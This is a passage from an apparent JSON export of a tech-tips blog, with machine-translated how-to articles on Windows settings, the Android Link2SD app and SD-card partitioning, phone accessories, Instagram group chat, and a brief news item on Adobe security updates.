of storage space. So you can clean them up easily with Disk Cleanup utility.\nHow to open DMP file in Windows 10? Now, opening these files is no longer easy because Windows 10 does not provide built-in tools. There's a good reason for this: it's rare that the average user wants to access them in the first place.\nHowever, there are a number of third-party utility tools that allow you to open and read DMP files. They may look outdated, but in this case, effect takes precedence over appearance.\nThe first application is WhoCrashed, a dump file parser. This tool requires installation, but it is quite available and has all the features you need. You can even simulate a system crash (do this with caution) with certain parameters.\n  The second application is BlueScreenView, which supports all versions of Windows up to now. Using this tool is very easy.\n  This is a portable application with a small size so there is no need to install. Once downloaded, just unzip the file and run the EXE file. First, you need to let the system create a memory dump file that can be read by third party software (recommended). In case you have alternative ways to open and read DMP files, feel free to leave your comments in the comments below.\nDeleting these dump files will not adversely affect your computer. They are mainly used for debugging purposes. You might want to keep them in case something goes wrong. They will provide information about the cause of the problem or error messages.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWUor1ussilnGagn6x6tbuMqKeepl2ZurF5xaKjnqtdnrtuw8inm6ivo2J%2BcQ%3D%3D\n","link":"/post/what-is-dmp-file-how-to-open-dmp-files-in-windows-10/","section":"post","tags":null,"title":"What is DMP file? How to open DMP files in Windows 10"},{"body":"Have you seen strange round objects appear on the back of someone's phone? Most likely, right? That is a PopSocket. Currently, this is an extremely hot smartphone accessory, especially for young people.\nBut what is PopSocket? And more importantly, can PopSockets be removable? The following article will help you dig deeper and answer all those tough questions.\nShould I buy PopSocket? What is PopSocket? Can PopSocket be reused? How to use PopSocket 1. Help you hold the phone more firmly 2. Take perfect selfies 3. Use PopSocket as a stand for the phone 4. Used to wrap the headset neatly 5. Customize PopSocket 6. Search for cheap PopSocket  What is PopSocket?   PopSocket is a plastic circle that you attach to a flat phone (or tile) with glue. You can drag PopSocket up 2 steps. That way, you can pinch your finger between the phone and one end of PopSocket, allowing for a more comfortable and tidy grip.\nCan PopSocket be reused? If having a slight bulge on the back of the phone is bothering you, don't worry. PopSockets is easy to remove, paste or reposition at any time.\nYou may have noticed that PopSockets has two parts: Stand (sticky disk) and PopTop (design part). Although PopTop is easy to replace when you get bored, removing the sole will be a bit more difficult.\nTo completely remove the part, make sure the PopSocket is flattened all the way down, then peel it slowly away from the case. If you have any problems when removing PopSocket, floss or credit card slide under the base to lift and separate it from the adhesive.\n  Remember that the adhesive gel may dry over time. If the glue feels dry, just rinse it off with warm water and let it dry naturally, for more than 10 minutes.\nHow to use PopSocket You may think that PopSocket has only one task, but they do have a lot of uses. So, what is PopSockets used for? Overall, they make it much easier to do simple things with a smartphone. The following tips and tricks will help you better understand how to use PopSocket.\n1. Help you hold the phone more firmly   PopSocket mainly works as an additional handle, especially useful for large smartphones. If you often drop your phone or find it difficult to hold a large phone comfortably, PopSocket will help fix those problems.\nFor example, if you own a Samsung Galaxy Note 9, sometimes you will struggle to use the phone with one hand. With PopSocket, you can hold your device with one hand and browse without a problem. The experience will be much more comfortable.\nFor those who often drop their phone, using PopSocket will help limit this somewhat. Plus, PopSocket gives you faster access to your phone.\n2. Take perfect selfies In addition to helping you hold your device harder, PopSocket is also great for taking selfies.\nWhy is that? Because PopSocket makes it easier to hold your phone in one hand, allowing you to access the shutter button easily. This accessory also brings more comfort when choosing a shooting angle.\n3. Use PopSocket as a stand for the phone   If you need a smartphone or tablet stand when watching videos or playing games, PopSocket will meet that need for you. If you want to use PopSocket as a stand, it's best to attach two to your phone or tablet (especially with a tablet). However, a single PopSocket can still play its role.\nWith a PopSocket, simply pull up 2 times and tilt the device horizontally. This PopSocket works best when attached to the middle of the phone, otherwise it will fall.\nFor larger devices, such as tablets, it is best to use two PopSockets, then place them at the top and bottom. This way, you can easily place your tablet on the table.\nYou can also use the PopSockets universal stand to hang PopSocket on any vertical surface.\n4. Used to wrap the headset neatly   Not everyone wants to use Bluetooth headsets, you might still want to take advantage of the headphone jack on your phone.\nBut headphones have long wires and are easily tangled. Fortunately, PopSockets can solve this annoying problem.\nTo do this, attach 2 PopSocket, 1 at the top and 1 at the bottom of the phone. You can use this setting to wrap your wired headphones around PopSocket, helping the cord to tangle when not in use. This might not look very nice, but it's easier than untangling the tangled wires every time you take them out of your pocket.\n5. Customize PopSocket   The only way to create custom PopSocket is through the PopSocket website (see link: https://www.popsockets.com/create-your-own?lang=en_US ). From here, you can either upload images from your device or import something from Instagram. Then you can choose the color for the parts of PopSocket.\nThis self-designed PopSocket costs about $ 15 (VND 345,000). At this reasonable price, you can add a bit of character to your device. Unfortunately, this service is not available for Vietnamese customers at the moment, but you can ask someone you know abroad to help you.\n6. Search for cheap PopSocket If you don't want to spend extra money to customize PopSocket, you can always find a suitable product on Amazon or eBay for a cheaper price. PopSocket usually only about $ 10 (230,000 VND), while the metal version falls in the $ 15 range.\nWhile PopSocket may seem like a silly accessory at first, there are really great ways to use it. It takes some time getting used to the PopSocket-attached phone, but after a while, it becomes an essential accessory. You will find it difficult to go back to using your phone or tablet without PopSocket.\nBetter yet, you can easily attach your phone to the car with PopSocket and the included pylons.\nWish you find a product like that!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWgpL20u8KknK1lZmK%2Fpq3SqKWsZaedxm7Fzq5krKCfqrmlecGusGaon6XAsK%2FKnqs%3D\n","link":"/post/what-is-popsocket-6-reasons-why-you-should-buy-popsocket/","section":"post","tags":null,"title":"What is PopSocket? 6 reasons why you should buy PopSocket"},{"body":"When you look at the instructions for using different software on Windows 10, you will often encounter the phrase \"Run as Administrator\". So do you know what Run as Administrator is? What do they mean on your computer system and how does that affect them? In this article, the Software Tips will help you learn about Run as Administrator and how to run the application with the Run as Administrator permission .\n  1. What is Run as Administrator? In essence, on our Windows operating system is divided into many accounts for all users and only the Administrator account is the highest account - holding all the changes on Windows. It is the same as: Administrator is the master key of a house and User accounts are the room keys in that house. Without Administrator rights, the User accounts can only use the resources contained in that room, while the Administrator account has the right to intervene more deeply in all content in that house. The content that Administrator rights can interfere with is: security, data, software installation, access to files on the computer, access to different graphic and sound engines, etc.\n  When you run applications on User accounts, those applications only have access to the resources that the User account is licensed from the Administrator. Because of that, when applications generate files or need files in the system to operate, they will not be found and unusable, causing errors. When running as Administrator, free applications are free to use resources on Windows 10 so they can maximize the performance of the application and be free from errors. There is some software that is pre-set on startup that will require Administrator privileges to limit errors during use and most new applications today are set as such.\n2. Instructions on how to run the application with Administrator rights Method 1: Run Administrator rights manually for each access You right click on the application that you want to run as Administrator and select lines Run as Administrator . After that, a message board appears, select Yes to complete.\n  Method 2: Set up permanent Administrator rights for the application Step 1: you right click on the app and select Properties .\n  Step 2: Then, you select the Compatibility tab and tick Run this program as an  Administrator . Next, you choose Changer settings for all users to change this setting for the entire account on the computer. Finally, select Apply -\u0026gt; OK to complete the installation.\n  In addition to the above, you can also change the right to run Administrator in the Shortcut tab . You select the Shortcut tab and select Advanced . to open the option.\n  Next, select Run as Administrator and click OK to finish.\n  You proceed Right-click the application to open in MenuStart and select More -\u0026gt; Run as administrator is done.\n  For applications not available in MenuStart's list, you can enter the application name and select Run as Administrator .\n  In this article, Software Tips introduced you to Administrator and how to run applications with Administrator rights. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWiqrturdJmmJ2lmaO2tMDRmquoql2eu7TA0a6araGfo8Buss6rZKutnqO2r7OMsKCtoF2Wsa61zaKqraqRqbyzedGinqGsow%3D%3D\n","link":"/post/what-is-run-as-administrator-instructions-for-running-with-administrator-rights/","section":"post","tags":null,"title":"What is Run as Administrator? Instructions for running with Administrator rights"},{"body":"USSD stands for Unstructured Supplementary Service Data - Unstructured supplemental service data, sometimes referred to as 'express code' or 'feature code'. It is basically a messaging protocol, similar to SMS (Short Message Service) that people use every day to send and receive messages.\nLike SMS, USSD was a product that was born before the smartphone era, when phones needed a way of interacting with each other without today's super modern applications. Here's what you need to know about USSD.\nWhat is USSD? USSD is a communication protocol that uses codes generated by existing characters on the phone. USSD messages can contain up to 182 characters and create a conversation between the phone and another device, usually a network or server.\n  What can the USSD do? The USSD creates a line for communication and data submission. It can only send messages when the connection is established, so it's not really similar to how SMS works either.\nAll USSD connections are more or less started in the same way. You send a message to the code. This code is a combination of numbers and special symbols. The carrier you are using will use that code to get you to the right service. When establishing contact with the service, you will have access to the information, data, updates and simple applications it service provides.\nHow is USSD used? USSD is commonly used by prepaid phones. When you purchase one of these devices, you can send a message to this code to check your balance. Carriers use the same connection to provide actual updates.\nThen there will be applications built via USSD, press a USSD code to return to the menu. You can use that menu to do everything from prepay renewal to requesting information, even paying for services.\nThe USSD has banking-related applications. It's fast, light, and ideal for performing tasks like checking balances and transferring money. Sending messages via USSD is much faster than mobile banking applications, especially it can operate without mobile data.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWlqMCleceormaho2K2tXnUrJyd\n","link":"/post/what-is-ussd-how-is-it-used/","section":"post","tags":null,"title":"What is USSD, how is it used?"},{"body":"Adobe has released a series of periodic security updates to fix simple to serious vulnerabilities found in Acrobat, Reader, Photoshop CC, Brackets and ColdFusion over the years. At the same time, the company does not forget to recommend that users should install new updates as soon as possible to ensure the best experience.\n  Here are details of the Adobe December 2019 periodic security updates:\nAPSB19-55 - Security update for Adobe Acrobat Reader\nAdobe has released an independent security update specifically for Adobe Acrobat Reader to address a total of 21 security holes.\nOf these, 14 are rated critical (Critical) because they can lead to arbitrary code execution on the device, while the remaining 7 are classified as important (Important) because they have can allow hackers to steal data or be exploited as privilege escalation holes.\nIf you are using Adobe Acrobat Reader, please pay attention to install this security patch immediately.\nSecurity update APSB19-56 for Adobe Photoshop CC\nAdobe has released a security patch for Photoshop CC that addresses two serious memory-related vulnerabilities that can result in arbitrary code execution.\nYou should upgrade your Adobe Photoshop CC software to version 20.0.8 or 21.0.2 to address these vulnerabilities.\nSecurity update APSB19-57 for Adobe Brackets\nA critical flaw was found in Adobe Brackets that could allow an attacker to execute arbitrary code on the device.\nYou should upgrade your Adobe Brackets software to version 1.14.1 to fix this vulnerability.\nSecurity update APSB19-58 for Adobe ColdFusion\nA privilege escalation flaw has been discovered in Adobe ColdFusion, due to insecure inheritance rights granted to the default installation directory.\nThis may allow the attacker to replace some important files, which will then be launched with advanced privileges.\nTo solve the problem, users should install ColdFusion 2018 Update 7.\nncG1vNJzZmismaXArq3KnmWcp51krqW7wZ5kq52cmq60sdJmmGarlae2pr%2BMqJ1moZ2lvLPAwKerZqiVp7awsMicZKydk6q%2FqsDYZqypnJGpsrQ%3D\n","link":"/post/adobe-releases-a-series-of-important-periodic-security-updates/","section":"post","tags":null,"title":"Adobe releases a series of important periodic security updates"},{"body":"The for . in loop is used to iterate over the properties of an object. When we haven't discussed the object yet, you may not feel comfortable with this loop. But once you understand how objects work in JavaScript, you will find this loop very useful.\nSyntax\nfor ( variablename in object ){ statement or block to execute }  In each iteration, an attribute from the object - the object is assigned to variablename - the variable name and this loop continue until all properties of the object are gone.\nFor example\nYou try the following example of a for . in loop. It prints the Navigator object of the web browser.\n Set the variable to different object and then try.  Result:\n Navigator Object Properties serviceWorker webkitPersistentStorage webkitTemporaryStorage geolocation doNotTrack onLine languages language userAgent product platform appVersion appName appCodeName hardwareConcurrency maxTouchPoints vendorSub vendor productSub cookieEnabled mimeTypes plugins javaEnabled getStorageUpdates getGamepads webkitGetUserMedia vibrate getBattery sendBeacon registerProtocolHandler unregisterProtocolHandler Exiting from the loop! Đặt biến vào đối tượng khác và Then thử .  According to Tutorialspoint\nPrevious article: For loop in JavaScript\nNext lesson: Loop control in JavaScript\nncG1vNJzZmismaXArq3KnmWcp51ks7C%2BjKWmqKhdnrtutsCvmKybop69tQ%3D%3D\n","link":"/post/for-loop-in-javascript/","section":"post","tags":null,"title":"For ... loop in JavaScript"},{"body":"Group chat on Instagram or group chat on Facebook, group chat on Zalo is the simplest way for us to chat with many people about the same issue of interest. On Instagram to chat normally you will access the Messages (direct). However, the latest update on Instagram Story is available for us to join the chat group.\nSpecifically, Instagram Story has a chat sticker so anyone who follows you when you see the Story posted can send a request to join the chat group. For the post Story owner, it will approve whether or not they want to let that person join their chat group. Group chat creators also have the right to end the chat whenever they want, and members also automatically leave the chat group. Together with the Network Administrator learn how to create group chat in Instagram in the article below.\nHow to create name tags on Instagram How to post a quiz on Instagram Story How to send voice messages on Instagram How to hide Instagram even when you're online 1. Group chat guide from Instagram Story Step 1:\nUsers click on the camera icon on Instagram interface to turn Story as usual.\n   Step 2:\nAfter filming is finished, click on the sticker icon at the top and display the sticker list for Instagram Story. Here we click on the Chat sticker to create a chat group on Instagram.\n   Step 3:\nDisplay the interface for you to name Instagram group chat . We enter a title for the conversation. Chatting content may relate to the Story you are about to post or not.\nNext we click on the circle icon to change the sticker color. If you no longer want to use this sticker , scroll down to the trash .\nStep 4:\nWhen you have finished the topic for the group chat, click the Done button above to continue. Next, click Next button below.\n   You choose where you want to share the information , here we choose to share it on the Private Message Board.\n   Step 5:\nNow when anyone sees the Story you post, you can submit a request to join the Instagram chat group, by clicking Join chat . If they want to cancel the request, press the sticker again.\n   Step 6:\nWhen someone requests to join the chat group, we receive a notification via a heart icon at the bottom of the interface. Click the notification to see who wants to join the chat group.\n   Step 7:\nThen show the full interface of Instagram accounts that want to join group chat. If you disagree, you can press the blue check mark , or click the 3 dots icon to add some other options. Then click Start chat to group chat on Instagram.\nStep 8:\nDisplay Instagram group chat interface. The interface is the same as when we access directly via the Messages section on Instagram. To open the chat group management interface , click the i icon in the top right corner.\n   At this interface , users can change the chat group name if desired. Below are other chat options, especially for approval to join the chat group that is enabled by default.\n   Step 9:\nThe Request section below is the member who requested to join the group chat, but you do not agree. If you want to add another member , click on the green text Add people . Enter the Instagram account name you want to add to the chat.\n   Step 10:\nBelow there are 2 options to delete Instagram chat groups.\nLeave the chat: you leave the chat group but the chat is still there, you cannot send the message until someone else adds you back to the conversation. End the chat: Delete the chat group completely, others cannot send messages in the group. If you choose to leave the group, the creator of the Story has the right to choose a new administrator, or to choose Instagram by himself.\n2. Chat Instagram group directly Step 1:\nAt the Instagram user interface click on the Direct icon in the top right corner. Next, display the interface for direct messaging with others. We click on the pen icon at the right corner to switch to group chat mode .\n   Step 2:\nDisplay the interface of the Instagram accounts you are following.Click on the Instagram account we want to create a chat group and then click the Next button in the upper corner.\n   Step 3:\nThus, the Instagram chat group has been successfully created. The user named the chat group created is done. For more options for the chat group, click on the i icon in the right corner. A list of custom chat groups appears, including the option to leave or delete Instagram chat groups.\nThe fact that Instagram creates a chat group through the sticker is completely different from the normal messaging feature in Messenger, Zalo, etc. Anyone can send a request to join the chat group when they see the Story that you posted, and you will whether or not a reviewer has them involved.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktLa1w55kraddnL%2Bwwc9mmqGZpGK8r3nIp6qtmZenrq4%3D\n","link":"/post/guide-to-group-chat-on-instagram/","section":"post","tags":null,"title":"Guide to group chat on Instagram"},{"body":"Windows 10 has replaced Favorites from earlier versions of Windows with Quick Access . Quick Access is the shortest path to the files you are working on and the folders you use frequently. These are your frequently visited folders and recent files.\nQuick Access in File Explorer In Windows 10, File Explorer opens Quick Access by default, showing Frequent folders and Recent files .\nFrequent folders = Display up to 10 folders that you frequently open on the system. Recent files = Show up to 20 files that you have opened most recently. This guide will show you how to add or remove Quick Access in the File Explorer navigation pane for all users in Windows 10.\nNote :\n- You must be logged in as an administrator to be able to add or remove Quick Access in the navigation pane.\nRemoving Quick Access from the navigation pane will not delete the history of Frequent folders and Recent files.\nAdd or completely Remove Quick Access in the File Explorer navigation pane This option will remove Quick Access from all locations completely, but doing so will disable drag and drop to the navigation pane as well.\nStep 1. Press Win + R to open Run , enter regedit into Run and click OK to open Registry Editor.\nStep 2. If prompted by UAC, click Yes.\nStep 3. In Registry Editor , navigate to the location below:\nHKEY_CLASSES_ROOTCLSID{679f85cb-0220-4080-b29b-5540cc05aab6}ShellFolder  Navigate to the key location in Registry Editor\nStep 4. If you haven't done so already, you need to first change the owner of the ShellFolder registry key in the left pane to the Administrators group .\nStep 5. If you haven't done so already, you will need to set a second permissions for the ShellFolder registry key in the left pane to allow the Administrators group to have full control .\nStep 6. In the right pane of ShellFolder , double click on DWORD Attributes to modify it.\nStep 7. Do step 8 (to remove) or step 9 (to add) below, depending on what you want.\nStep 8. To remove Quick Access from the navigation pane, enter a0600000 , click OK and go to step 10 below.\n Remove Quick Access from the navigation pane\nStep 9. To add Quick Access to the navigation pane, enter a0100000 , click OK and go to step 10 below.\n Add Quick Access to the navigation pane\nStep 10. When done, close Registry Editor.\nStep 11. Restart Explorer, log off and log on, or restart the computer to apply the changes.\nfile explorer Quick Access ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUmXqzscyorZ5loaq2pLeMmpqcnaOoeqq6jK2fnmWWnrmmecSxp6Wnopq%2FbrrAr6CgmaSevK95z5qlnmWfo3q4tc2dprCrXWZ9\n","link":"/post/how-to-add-remove-quick-access-in-the-file-explorer-navigation-pane-on-windows-10/","section":"post","tags":null,"title":"How to add / remove Quick Access in the File Explorer navigation pane on Windows 10"},{"body":"On the Samsung Galaxy S20, S20 + and S20 Ultra have the Edge Panel feature, or call the edge screen for quick access to frequently used contacts, frequently accessed applications, calendar, flashlight or any content. come on. When you want to open quickly, just swipe from the right or left edge, this edge screen will appear. The Edge Panel also allows users to change the display application or even disable this screen, as they dislike having a screen overlay from the display Edge Panel. The following article will guide you how to customize Edge Panel on Samsung Galaxy S20 .\n1. Edit Edge Panel on Galaxy S20 First we swipe the edge of the screen on the right to display the edge screen and then click Edit to change the existing application icons in the edge screen. In case you want to disable, click the gear icon to enter the settings interface.\n  Continue to click Edit to change each screen edge individually . Clicking on the edge screen style will switch to the new custom menu.\n  In this interface, you will drag the icon in each panel to the right of the screen to change the arrangement of the next screen.\n  2. Disable Edge Panel on S20 Open Edge Panel, then click the gear icon to access the settings interface for the edge screen. To disable, first you need to turn Off mode as shown below.\n  Or you can access the settings interface on the device and select Display. Then click Edge Edge at the bottom of the list of changes.\n  Switch to the new user interface disabled in Edge Panel is okay.\n  3. Add Edge panel on Galaxy S20 To restore the edge screen we also go to Display in Settings, then click on Edge panel then activate as shown below.\n  If you want to add more content to the Edge panel , open the Edit Edge screen and then click the type of screen you want to add . In addition, when you click on the Galaxy Store, you will have more options for free or paid edge screen styles if you want.\n  ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpulqMGwuciznGasmJp6prDGnmSpmZ6auW67zWaroZ1dnK6trdeyZKxqYA%3D%3D\n","link":"/post/how-to-customize-the-edge-panel-on-the-galaxy-s20/","section":"post","tags":null,"title":"How to customize the Edge Panel on the Galaxy S20"},{"body":" This wikiHow teaches you how to use a battery rather than a wall outlet to power your desktop computer. DC stands for 'Direct Current', which is the kind of power produced by 12 volt batteries. In order to use such a battery with your...\nMethod 1of 2:\nUsing an Inverter Buy an inverter. In order to convert a battery's DC current into a current which your desktop computer's power supply can recognize, you'll need to buy a 12 volt DC to AC inverter. Make sure the inverter you buy converts according to your region's voltage limits. North American power supplies typically use 110v or 120v outputs, while other parts of the world often use 220v, 230v, or 240v.[1] Your inverter should have at least two power outputs (electrical sockets). This will allow you to plug in both your desktop unit and your monitor if necessary.  Purchase a 12 volt battery. All batteries output DC power, so just make sure the battery you purchase is a 12 volt model in order to ensure its compatibility with your inverter.[2]\n Unplug your desktop computer. If your desktop is plugged into an AC outlet (e.g., an electrical outlet), you'll need to unplug it before proceeding.\n Attach your battery to your inverter. In most cases, you'll use each of the inverter's colored wires to connect to each of the same-colored clips on the battery. 12 volt batteries can seriously harm you or any connected electronics if connected improperly. For this reason, you should check both the battery's documentation and the inverter's manual to ensure that you know how to connect them properly.  Turn on the inverter. Press the inverter's Power  button to turn it on. You should do this before connecting your computer to the inverter, as failing to do so may result in damage to your computer.  Plug your computer into the inverter. The inverter's power output sockets are usually opposite the side to which you connected the 12 volt battery.\n Attach any other components to the inverter. If you can't or don't want to run your desktop monitor off of AC power, you'll need to connect the monitor's power cable to the inverter as well. The same goes for speakers and any other powered components you want to use with your computer.  Turn on your desktop. From this point, you should be able to run your computer using your inverter and the connected battery. Keep in mind that you will need to minimize your computer's intensive operations (e.g., video editing, gaming, and so on) if you want to maximize your battery use.  Method 2of 2:\nUsing a DC Power Supply Understand the limitations. DC/DC power supplies are significantly smaller than their traditional counterparts, making them insufficient for high-performance computers or sustained high-processing usage. DC/DC power supplies are also fairly uncommon, meaning you may have to wait for several weeks before one can be shipped to you if you order online.  Make sure your motherboard has a 20- or 24-pin ATX connector. This is crucial if you want to plug a DC-to-DC power supply into your motherboard. The easiest way to figure out your motherboard's connector is by finding your motherboard's product information and then looking up the motherboard model along with \"atx\". The ATX connector is the rectangular input with large holes in it. If your motherboard doesn't have a 20- or 24-pin ATX connector, it won't be able to support a DC-to-DC power supply. Try using an inverter instead.  Purchase a DC/DC power supply. DC-to-DC power supplies are most easily found online, but you may be able to find a DC to DC power supply unit in a tech store such as Best Buy. Some places from which you can buy DC-to-DC power supplies include http://www.mini-box.com/ and https://www.digikey.com/.  Buy a power supply-to-battery adapter if necessary. Most DC-to-DC power supplies will use a coaxial cable to connect to your 12 volt battery, meaning you'll need an adapter which has two wires to connect to the battery on one end and a coaxial output on the other end. This isn't necessary for all power supplies. Check your power supply's power input before buying an adapter.  Buy a 12 volt battery. Since DC to DC power supplies run on 12 volts, you'll need a 12 volt battery. Make sure the battery's wattage and other specifications match your power supply's specifications.  Unplug your desktop computer. If your desktop is plugged into an AC outlet, unplug it before proceeding to minimize the risk of electric shock or damage to the internal components.\n Ground yourself. Doing so will prevent you from accidentally harming your computer's motherboard by transmitting static electricity.\n Open the desktop. In most cases, you'll want to lay the desktop unit on its side before removing the side panel. You may need a screwdriver for this step.  Locate the motherboard. The motherboard is a circuit board which you'll usually find near the bottom of the desktop unit.\n Unplug the current power supply. The current power supply will typically be located near the top of the desktop unit with several wires connecting it to different components on the motherboard. You'll need to unplug each of these wires. Your power supply will also be attached to your hard drive, so unplug it there as well.  Plug your DC-to-DC power supply into the motherboard. The power supply's main plug will fit into the 20- or 24-pin slot on your motherboard.[3] If your power supply only has 20 pins, leave the left-most 4 pins on your motherboard empty.  Attach the DC-to-DC power supply to your computer's connectors. Using the power supply's cables, attach it to the necessary inputs on the motherboard and the hard drive. At minimum, you'll want to connect the power supply to your hard drive, your computer's processor, and the graphics card(s) if necessary.  Plug your power supply into the battery. In most cases, this will entail connecting the coax-to-battery adapter's red and black wires to the same-colored outputs on the battery and then screwing the coaxial cable from the power supply into the coaxial output on the adapter. If your power supply uses a different means of connection, consult the battery's documentation and the power supply's manual for more specific instructions.  Reassemble your desktop, then turn it on. From this point, you should be able to run your computer using the DC-to-DC power supply and the connected battery. Keep in mind that you will need to minimize your computer's intensive operations (e.g., video editing, gaming, and so on) if you want to maximize your battery use.   Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqlo3q6u9SrZJ2do6DBsLyMqJ2fZZSYerG71p6p\n","link":"/post/how-to-run-your-desktop-off-dc-power/","section":"post","tags":null,"title":"How to Run Your Desktop off DC Power"},{"body":"Aphelios - the 147th champion of League of Legends is about to be released gamers in the next League of Legends update 9.24. When Senna had just been launched for a long time and the heat didn't decrease, Riot suddenly announced Aphelios - Song Nguyet Warrior. Here is some information about the new champion Aphelios LOL.\nInformation on the League of Legends Senna skill set The generals will appear in League of Legends The list of champions will be available in League of Legends What position will Aphelios be?   Aphelios will be a gunner general. It seems that Riot is prioritizing the bot lane position when launching consecutive bot lane champions. He comes from Mount Targon, the most majestic mountain in the land of Runeterra.\nThe generals of Mount Targon will be Aurelion Sol, Diana Zoe, Leona, Soraka, Pantheon, Taric.\nAphelios's skills   Aphelios's skills are currently unknown, but the champion's equipment has also been revealed through some videos of LOL streamers.\nBiography of Aphelios LMHT   At the moment there is very little information about Aphelios, only knowing that he is a gunner. But before that Riot Ryan \"Reav3\" Mireles has revealed that he will not be a pure gunner, like \"non-traditional\".\nThe biography of the general also says that Aphelios will indicate that he will use a number of different weapons. You can see the introduction image of Aphelios who has a curved blade, and some believe that this champion will be the Assassin General.\nWith this information, it is clear that Aphelios will not be a simple automatic attack-oriented ADC and may resemble assassin generals like Zed or Talon. In addition, Aphelios somewhat like Kai'Sa or Senna has been added to the game recently. We still do not know exactly but it is possible that the player will have to spend quite a bit of time to master his skills thanks to the high skill mechanism.\n  Aphelios's story revolves around his older sister, Alune. And his duty is to protect Targon as part of the Lunari. Through the battle with the Solari, Aphelios and his sister become the leaders of Lunari. With her sister's magic, Aphelios became a sword-assassin with magical power.\nAbove is some initial information about Aphelios, the upcoming 147th champion will be present in League of Legends 9.24. With the bot lane position, I hope Aphelios will be a good source of damage for the meta game.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2ByzqukmqyZpLtuu81mnp6mlaeurXnAqZ%2BepJmkwG64zKGr\n","link":"/post/information-on-general-aphelios-lmht/","section":"post","tags":null,"title":"Information on General Aphelios LMHT"},{"body":"TipsMake.com - By default, the Android app gets into internal memory, but if your phone has a low memory capacity, you can use the memory card to install the application. Here are some methods to do that.\nThis method requires Android 2.2 operating system or newer. There are several different ways to do this, depending on the version of Android the device is running and the application you install. Android 6.0 Marshmallow allows accepting SD card as internal memory, automatically installs allowed applications on SD card. But not all devices support this, if you want more flexibility, you need to root your Android phone, then install Link2SD application to install the application on the memory card.\nUse SD card as internal memory On some Android devices there are features called Adoptable or Flex Storage, first introduced on Android 6.0 Marshmallow, which allows you to format the SD memory card to use as the internal device of the phone. To do this, you do the following:\nOpen Settings / Settings on the phone\u0026gt; click Storage / Storage \u0026gt; select microSD card. On newer Android you can access this option in your File \u0026gt; SD memory card .\n    Click the ⋮ icon in the upper right corner\u0026gt; Storage / Storage Settings \u0026gt; Format as Internal / Format as memory in \u0026gt; Erase \u0026amp; Format / Delete and format. If the system recognizes that your memory card is too slow, it will warn you that this setting will reduce performance.\n    Select Move now / Move . After making a selection, click Next and start switching to SD memory card. The system will tell how long the transfer time will take and how much data can be transferred to the SD card. Click Done . Your SD memory card will be listed below the internal memory and from now on the system will use it as internal memory and you can install the application on it.\n    On some Android versions / devices you can move the application right in the application management section if you see the Move to SD Card option.\nTransfer application to memory card on Android rooted Not all devices and applications allow you to install the app on a memory card, even if Android supports the use of memory cards as main memory. If you want to transfer Android apps to a memory card, but these applications are not supported, it can still be done but must root Android first. If the device has been rooted, follow the instructions below, you will have less memory for your application.\n1. SD card partition Back up all data in the memory card because partition will delete everything on the card. Turn off the Android phone, remove the memory card, insert the memory card into the SD card reader on the computer, copy the file to the computer. When the data has been backed up, we will partition the memory card.\nDownload the MiniTool Partition Wizard and install it on your computer, open the application and select Launch Application .\n  There are many drives listed in the software, the computer's hard drive will be listed first, followed by the SD card, in the picture is G. drive Select the drive for the SD drive. Here is Disk 2. Be careful when selecting the drive for the memory card if you do not want your other drives to be erased.\n  Next, delete the current partition on the SD card. Again you need to make sure all data is backed up. Right-click on the SD card partition (here is G) and select Delete in the menu that appears.\n  Now you will have the drive area for the Android device. The original partition is used for data. Right-click on the unallocated partition on the SD card and select Create from the menu that appears.\n  Creating partitions on SD cards to install applications on cards on Android phones will be different from partitioning drives on a PC. To do this, you must define all partitions on the memory card as Primary . In the Create New Partition dialog box\u0026gt; Create As section\u0026gt; select Primary .\n  Next, you define the file system type for the data partition. Select FAT32 in the menu of File System .\n  You can name the partition or not, here the partition is named Data.\n  By default, the size of this partition is the full capacity of the memory card, we need to reduce it to make room for the partition for the application. Partitioning data needs to be larger than application partition. Assuming a 128GB card is used, it will use 100GB for the data area and the rest for the application partition.\nTo change the partition size, move the cursor over the right edge of the yellow border in Size and Location section until it displays as a double line with 2 arrows as shown, you click and hold the yellow border drag it left until the approximate size for your partition is reached.\n  After completing click OK .\n  The remaining memory card section is listed below the Data area just created. Now, right click on it\u0026gt; select Create .\n  You will receive a warning that this partition does not work on Windows, shelves, click Yes .\n  In Create As \u0026gt; select Primary , in File System \u0026gt; select \"Ext2\" (if using stock ROM), \"Ext3\", or \"Ext4\". You can change the File System type again if the initial selection type does not work. Name the partition\u0026gt; OK. If you do not change the size of the partition, the entire remaining capacity of the memory card will automatically be used for the second partition.\n  The second partition is listed below the first Data partition.\n  To complete the partitioning, click Apply as shown.\n  The dialog box appears to ask you to confirm the changes, click Yes .\n  The Apply Pending Operation dialog (s) . next displays the partitioning process.\n  The Successful dialog box appears when all changes are successfully executed.\n  Select Exit from the General menu to close MiniTool.\n  Before removing the memory card from the computer, you can copy the file saved on the computer to the memory card again. Windows will only see the Data partition, so you don't need to worry.\n2. Download and install Link2SD Insert the memory card into the phone and start the phone. Download Link2SD and install on the phone. If SuperSU is installed on your computer, when you click Link2SD you will see a dialog box asking for full access to Link2SD\u0026gt; click Grant .\n    The following dialog box displays when you first open Link2SD, asking you to select the file system used on the 2nd partition of the memory card. You choose the correct ext2, ext3 or ext4 selected when partitioning on your computer. In this example is ext4\u0026gt; and click OK .\n  If everything works, you'll see the Restart your device dialog box\u0026gt; select Reboot Device .\n  If you get an error message, the possibility is to choose the wrong file system when creating the 2nd partition. Uninstall Link2SD, turn off the power, remove the memory card, and repeat the above steps and use the MiniTool Partition Wizard to delete the partition. Second and recreate, select another file system that you have not selected at the beginning. Then install Link2SD and continue until you see the Reboot Device dialog box.\nAfter restarting the phone, you open Link2SD, you will see the application list and some options at the top of the screen, so it was successful.\n3. Change the location to install the default application If you want to automatically install a new application to the SD card instead of the hard drive, click ⋮.\n  Select Settings in the menu that appears.\n  In Auto link \u0026gt; select Auto link and click Auto link settings .\n  Make sure the first 3 options are selected. The Link internal storage option cannot be turned on in the free Link2SD version, so the application's data files installed on the SD card are still stored on the internal memory. You need to buy a paid version ($ 2.35) to unlock this feature. Click ← at the top of the screen to 